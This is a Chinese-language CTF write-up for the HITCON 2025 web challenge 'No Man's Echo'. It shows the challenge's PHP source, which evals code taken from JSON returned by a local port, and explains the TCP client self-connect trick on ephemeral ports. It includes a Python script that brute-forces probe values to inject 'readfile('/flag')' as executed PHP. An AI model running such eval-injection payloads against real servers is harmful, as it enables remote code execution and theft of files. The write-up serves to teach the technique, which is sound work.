当前位置: 首页 > news >正文

hintcon2025No Man‘s Echo

#web

代码如下

<?php// 获取GET参数probe,并转换为整数$probe = (int)@$_GET['probe'];// 生成从probe到probe+42的端口范围数组$range = range($probe, $probe + 42);// 打乱端口数组顺序shuffle($range);// 遍历每个端口foreach ($range as $k => $port) {// 构造目标tcp地址$target = sprintf("tcp://%s:%d", $_SERVER['SERVER_ADDR'], $port);// 尝试连接目标端口$fp = @stream_socket_client($target, $errno, $errstr, 1);if (!$fp) continue; // 连接失败则跳过// 设置流超时时间为1秒stream_set_timeout($fp, 1);// 向目标端口写入请求体内容fwrite($fp, file_get_contents("php://input"));// 读取目标端口返回的数据$data = fgets($fp);if (strlen($data) > 0) {// 尝试将返回数据解析为json$data = json_decode($data);// 检查signal字段是否为Arrivalif (isset($data->signal) && $data->signal == 'Arrival')// 执行logogram字段内容eval($data->logogram);// 关闭连接fclose($fp);// 退出脚本exit(-1);}} // 高亮显示当前文件源码highlight_file(__FILE__);

我们先搭建容器并尝试查看所有容器内占用的端口

  • 容器内监听端口:

  • TCP 0.0.0.0:80(Apache,LISTEN)

  • TCP 127.0.0.11:36667(Docker 内置解析相关,LISTEN)

  • UDP 127.0.0.11:50180(Docker 内置解析相关)

dockerfile

FROM debian:bookwormEXPOSE 80RUN apt-get update && \apt-get install -y --no-install-recommends \apache2 \libapache2-mod-php \&& rm -rf /var/lib/apt/lists/*COPY www/index.php /var/www/html/
COPY ./flag /flagRUN a2enmod php* && a2enmod rewrite
RUN rm /var/www/html/index.html
RUN chmod 744 /var/www/html/index.php /flagWORKDIR /var/www/htmlCMD ["apachectl", "-D", "FOREGROUND"]

这个-d FOREGROUND 参数代表着什么?

  • 结论:让 Apache 在前台运行,不以守护进程方式后台化。

我们能向任何端口发送任意数据

服务器让我们返回一个有如下字段的json {“signal”:“Arrival”,“logogram”:“php_code”}

80/36667/50180端口可利用吗?

阿帕奇80端口支持那些特殊协议吗?

题目为什么设置了probe+42,是否是某些临时端口,其开放范围有上下42的浮动?

FQEF 怎么猎奇的题怎么这么多解决?

我们来分析解决方案的原理

TCP 客户端自连接 (2013) |黑客新闻 — TCP 客户端自连接 (2013) |黑客新闻

一切关于无:TCP客户端自连接…

import httpxtarg = "http://localhost:8080"
targ = "http://no-mans-echo.chal.hitconctf.com/"c = httpx.Client(base_url=targ)COMMAND_TO_RUN = "readfile('/flag');" 
payload = f'{{"signal": "Arrival", "logogram": "{COMMAND_TO_RUN}"}}'for i in range(40_000, 50_000):print(i)r = c.post(f"/?probe={i}", content=payload.encode())if "hitcon" in r.text:print(r.text)

事实是, #TCP 会建立一个临时的端口

阶段一:需求产生与“招聘”(连接初始化)
  1. 应用层请求

    • 当你的程序(例如,一个Web浏览器想要访问 www.example.com:80)需要建立一个出站TCP连接时,它会调用系统Socket API(例如 connect() 函数)。
    • 此时,应用程序通常只指定了目标地址(服务器的IP)和目标端口(如80),而本地端口参数通常被设置为0,意思是“操作系统,请帮我随机选一个可用的本地端口”。
  2. 操作系统介入

    • 这个请求从用户空间传递到操作系统内核的TCP/IP协议栈。
    • 内核意识到需要为一个新的连接分配一个本地端点(IP地址和端口)。
  3. 端口选择

    • 本地IP地址:通常使用与目标网络路由对应的本地网络接口的IP地址。如果机器有多个IP,内核会根据路由表选择最合适的一个。
    • 本地端口:这是关键步骤。内核需要从临时端口范围(Ephemeral Port Range)中挑选一个当前未被使用的端口。
      • 范围:在Linux上,可通过 /proc/sys/net/ipv4/ip_local_port_range 查看和修改(默认通常是 32768-60999)。在Windows上,默认范围是 49152-65535
      • 选择算法:现代操作系统通常使用一种复杂的算法来随机选择端口,而不仅仅是顺序递增。这主要是出于安全考虑(防止攻击者预测下一个要使用的端口号)和负载均衡。它会检查该端口是否已被其他现有连接占用(检查本地IP、本地端口、远程IP、远程端口这个四元组是否唯一)。如果选择的端口已被占用,它会继续尝试下一个随机端口,直到找到可用的为止。
阶段二:“员工”上岗与工作(连接建立与数据传输)
  1. 创建传输控制块(TCB)并绑定

    • 一旦选中一个可用的临时端口(例如 49200),内核会为此连接创建一个称为传输控制块(TCB) 的数据结构。TCB包含了管理这个连接所需的所有信息:序列号、窗口大小、双方IP和端口、连接状态等。
    • 此时,这个四元组 {本地IP:49200, 本地Port:49200, 远程IP:93.184.216.34, 远程Port:80} 被正式绑定。这个组合在整个网络上都是唯一的,确保了TCP数据包能够被正确无误地交付到你这个特定的浏览器标签页,而不是其他连接。
  2. 三次握手

    • 内核使用这个新绑定的临时端口向服务器发送一个 SYN(同步)包。
    • 服务器收到SYN包后,会向你的 本地IP:49200 回复 SYN-ACK(同步-确认)包。
    • 你的内核收到SYN-ACK后,再发送一个 ACK(确认)包完成三次握手。
    • 至此,连接正式建立,临时端口 49200 现在处于 ESTABLISHED 状态。
  3. 数据传输

    • 在整个数据传输过程中(浏览器发送HTTP请求,接收HTTP响应),所有从这个连接进出的数据包,其源端口都是 49200,目标端口都是 80
    • 操作系统内核会根据数据包的端口号,准确地将接收到的数据分发给你之前发起连接的那个浏览器进程。
阶段三:任务完成与“解雇”(连接终止与端口释放)
  1. 连接终止(四次挥手)

    • 当数据传输完成(例如,网页加载完毕),一方(通常是客户端,但也可以是服务器)会发起连接关闭流程。
    • 浏览器(客户端)调用 close(),内核会发送一个 FIN(结束)包给服务器。
    • 服务器回复 ACK 确认收到FIN,然后再发送它自己的 FIN 包。
    • 客户端回复 ACK 确认服务器的FIN。
  2. 进入TIME_WAIT状态

    • 在发送完最后一个ACK之后,客户端的连接(特别是这个临时端口 49200)不会立即被释放。它会进入一个称为 TIME_WAIT 的状态。
    • 持续时间:这个状态通常持续 2 * MSL(Maximum Segment Lifetime,报文最大生存时间)。在Linux上,MSL通常是60秒,所以TIME_WAIT状态会持续约120秒。
    • 为什么需要TIME_WAIT?
      • 确保最后的ACK送达:如果最后一个ACK在网络中丢失,服务器会重传它的FIN包。处于TIME_WAIT状态的客户端可以再次回复ACK,从而保证连接可靠地关闭。
      • 让旧连接的报文彻底消失:防止来自之前连接的、延迟到达的数据包被误认为是新建立的、复用了相同四元组的连接的数据包,造成数据混乱。
  3. 端口释放与销毁

    • 度过完整的TIME_WAIT计时器(如120秒)后,内核会彻底销毁该连接的TCB(传输控制块)。
    • 临时端口 49200 被释放,重新放回可用的临时端口池中,等待被未来的新连接请求随机选中和使用。

因此,临时端口的“销毁”并非在调用close()时立即发生,而是在经历完整的TCP连接终止协议(包括TIME_WAIT状态)之后才完成的。 这个设计是TCP协议实现可靠性的一个核心组成部分。

TCP在创立链接的时候会创建临时端口,如果一个tcp链接的目的地恰好是内核所为其分配的链接端口,此端口会产生产生自链接,原样返回输入

QEF

#网络通信原理 #php

http://www.dtcms.com/a/355988.html

相关文章:

  • 【Web安全】反序列化安全漏洞全解析:从原理到实战测试指南
  • Vue3 Pinia 中 store.$dispose()的用法说明
  • Vue3组件加载顺序
  • vue项目运行后自动在浏览器打开
  • 使用npm init vue@latest 基于vite创建的vue项目
  • 特色领域数据集:以数据之力,赋能多元行业发展
  • three 点位图
  • HT338立体声D类音频功放
  • 消息推送与 WebSocket 学习
  • Node.js终极文本转图指南
  • 基于SpringBoot的学科竞赛管理系统
  • 请详细介绍RuntimeInit.java中的MethodAndArgsCaller类
  • 架构设计——云原生与分布式系统架构
  • nginx的启动 、 停止、重载命令
  • node,nvm,vscode下载安装教程(windows版本)
  • AI“炼”金术:从数据到智能的蜕变
  • Shell 脚本编程完全指南
  • HFSS许可证与版本兼容性
  • 智慧清洁革命:有鹿机器人如何重塑三大行业未来
  • AbpvNext问题记录——post接口,接收前端发送的空串转换数字异常问题。
  • Orgin绘制热力图
  • 财务报表包括哪些?一文讲清财务三大表
  • DMN6140L-13 电子元器件 Diodes美台N沟道增强型功率MOSFET
  • Codeforces Round 1043 (Div. 3) E. Arithmetics Competition
  • docker搭建Apisix和Apisix Dashboard
  • 智能仪表板DevExpress Dashboard v25.1新版亮点:增强数据管理功能
  • rk键盘 用蓝牙链接 教程
  • 实战演练(一):从零构建一个功能完备的Todo List应用
  • C++(Qt)软件调试---vcpkg安装crashpad(34)
  • 金融Agent+LLM的特性分析与调研